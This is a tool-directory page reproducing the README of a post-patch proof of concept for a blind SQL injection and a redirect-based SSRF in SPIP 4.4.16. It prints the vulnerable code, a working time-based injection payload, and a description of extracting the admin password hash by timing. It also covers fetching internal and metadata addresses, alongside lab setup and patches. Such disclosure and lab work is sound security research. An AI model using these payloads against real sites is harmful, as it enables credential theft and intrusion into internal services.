Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
spip-cve-2026 — PoC for CVE-2026-72708 (blind SQLi) and CVE-2026-109378 (SSRF) in SPIP, both fixed in 4.4.18 | Kitploit
Tools/GitHubGitHub/ka3n1x/spip-cve-2026
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLabs & Practice
GitHubka3n1x/spip-cve-2026

spip-cve-2026

PoC for CVE-2026-72708 (blind SQLi) and CVE-2026-109378 (SSRF) in SPIP, both fixed in 4.4.18

View Repository
12 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SPIP 4.4.16 - CVE-2026-72708 and CVE-2026-109378

Reproducible proof of concept material for two vulnerabilities I reported in SPIP, both fixed in 4.4.18.

CVEClassAuthCVSS 4.0Sink
CVE-2026-72708Blind SQL injection (CWE-89)none8.7 Highecrire/req/mysql.php:1730
CVE-2026-109378SSRF via HTTP redirect (CWE-918)low5.3 Mediumecrire/inc/distant.php:567-582

Both were reported to [email protected] on 2026-08-05. SPIP shipped the fix in 4.4.18 on 2026-08-10. This material is published after the patch, which is the whole point of publishing it.

Everything here runs against a disposable local lab bound to 127.0.0.1. Do not point it at a host you do not own.


CVE-2026-72708 - unauthenticated blind SQL injection

spip_mysql_cite() returns a value unquoted when the destination column is a date type and the value matches /^\w+\(/:

} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
    return $v;
}

The regex was meant to let NOW() through as a function call rather than a string. It checks the shape of a function call, not its name, so SLEEP(5), IF(...) and UPDATEXML(...) all satisfy it too.

The reachable sink is the {annee?} criterion of squelettes-dist/sitemap.xml.html, which ships with every install and compares against a datetime column. The sitemap is public, so no account is needed:

GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0)

Run it:

bash CVE-2026-72708-sqli/poc_sqli.sh

The script proves the sink, shows the delay tracking the SLEEP() argument, then recovers the first twelve characters of the admin password hash through a pure timing oracle and checks the result against the database.

Two things that will waste your time

  • An empty SPIP looks patched. The injected SLEEP() lives in a WHERE clause, which MySQL evaluates per row. With zero articles it never fires. lab/seed.sh inserts one published article.
  • SPIP caches public pages by URL. Replaying an identical request returns the cached page instantly and the delay disappears. Add a changing dummy parameter (&z=<random>) to every replay. The script already does.

CVE-2026-109378 - SSRF via HTTP redirect

SPIP has a genuinely good SSRF guard, valider_url_distante(): scheme whitelist, private and reserved ranges, link-local, DNS rebinding, credential URLs. Callers run it before fetching.

recuperer_url() then follows up to ten redirects, and never re-validates the target it is about to fetch:

$url = suivre_lien($url, $res['location']);   // 571, attacker controlled
// ... method adjustment, a log line ...
return recuperer_url($url, $options);          // 582, fetched

One 302 from a host that passes validation walks straight into anything the guard was built to block, 169.254.169.254 included.

Run it:

docker exec -w /var/www/html spiplab-app php /tmp/poc_ssrf.php

The script shows the guard correctly refusing seven hostile URLs, then fetches one of those exact URLs through a redirect and prints the content back.


The lab

cd lab
docker compose up -d        # SPIP 4.4.16 + MariaDB, bound to 127.0.0.1:8888
sleep 40                    # auto install
bash seed.sh                # one published article, clears the page cache

The database has no host port. The web container listens on loopback only. Tear it down with docker compose down -v.

To exercise the SSRF path you also need the stand-in redirector and an internal-only service:

docker cp redir.php spiplab-app:/var/www/html/redir.php
docker exec spiplab-app sh -c 'mkdir -p /tmp/internal && \
  echo "INTERNAL-SERVICE-SECRET-7f3a9c2e" > /tmp/internal/secret.txt && \
  (setsid nohup php -S 0.0.0.0:9001 -t /tmp/internal >/tmp/internal/srv.log 2>&1 &)'

redir.php only emits a 302 to whatever ?to= says. In a real attack that role is played by a public host the guard is happy to allow.


Replaying by hand

requests/ in each directory holds the raw HTTP exchanges captured off the wire during the runs above, one .req and one .res per step. Paste a .req into Burp Repeater as is.

For the SQLi, the interesting pair is sqli-03-oracle-true (2.051 s) against sqli-04-oracle-false (0.049 s): same question, threshold moved by one, and the answer is the difference in response time. The bodies are identical.

For the SSRF, ssrf-02-internal-hits.log is the access log of the internal service, showing SPIP arriving on a host it had just refused to resolve.


Fixes

SQL injection, replace the loose regex with a whitelist:

} elseif (sql_test_date($type) and preg_match(
    '/^(NOW|CURDATE|CURTIME|CURRENT_TIMESTAMP|CURRENT_DATE|CURRENT_TIME|UTC_DATE|UTC_TIME|UTC_TIMESTAMP)\s*\(\s*\)$/i',
    $v
)) {

Apply the same change to ecrire/req/sqlite_generique.php.

SSRF, validate the redirect target before following it:

$url = suivre_lien($url, $res['location']);

if (!valider_url_distante($url)) {
    spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
    return false;
}

return recuperer_url($url, $options);

Or simply upgrade to 4.4.18, which contains both.


Credits

CVE-2026-72708 was independently co-discovered by Franck Chevalier (Wayko) of Lexfo / Ambionics, who found the same sink, the same unauthenticated entry point, and built the full chains to remote code execution through CVE-2026-72709 and CVE-2026-72710. Their writeup is the deeper technical document and their tooling is at ambionics/spip-exploits.

CVE-2026-109378 was reported solo.

References

  • NVD CVE-2026-72708
  • NVD CVE-2026-109378
  • SPIP 4.4.18 security release
  • GHSA-8c85-4pqf-wfwj
  • GHSA-8gmq-ghhj-j4rh

License

MIT. Published for defenders, auditors and anyone who wants to understand why a fifteen character regex ended up being worth 8.7 points.

-- ka3n1x

Download Tool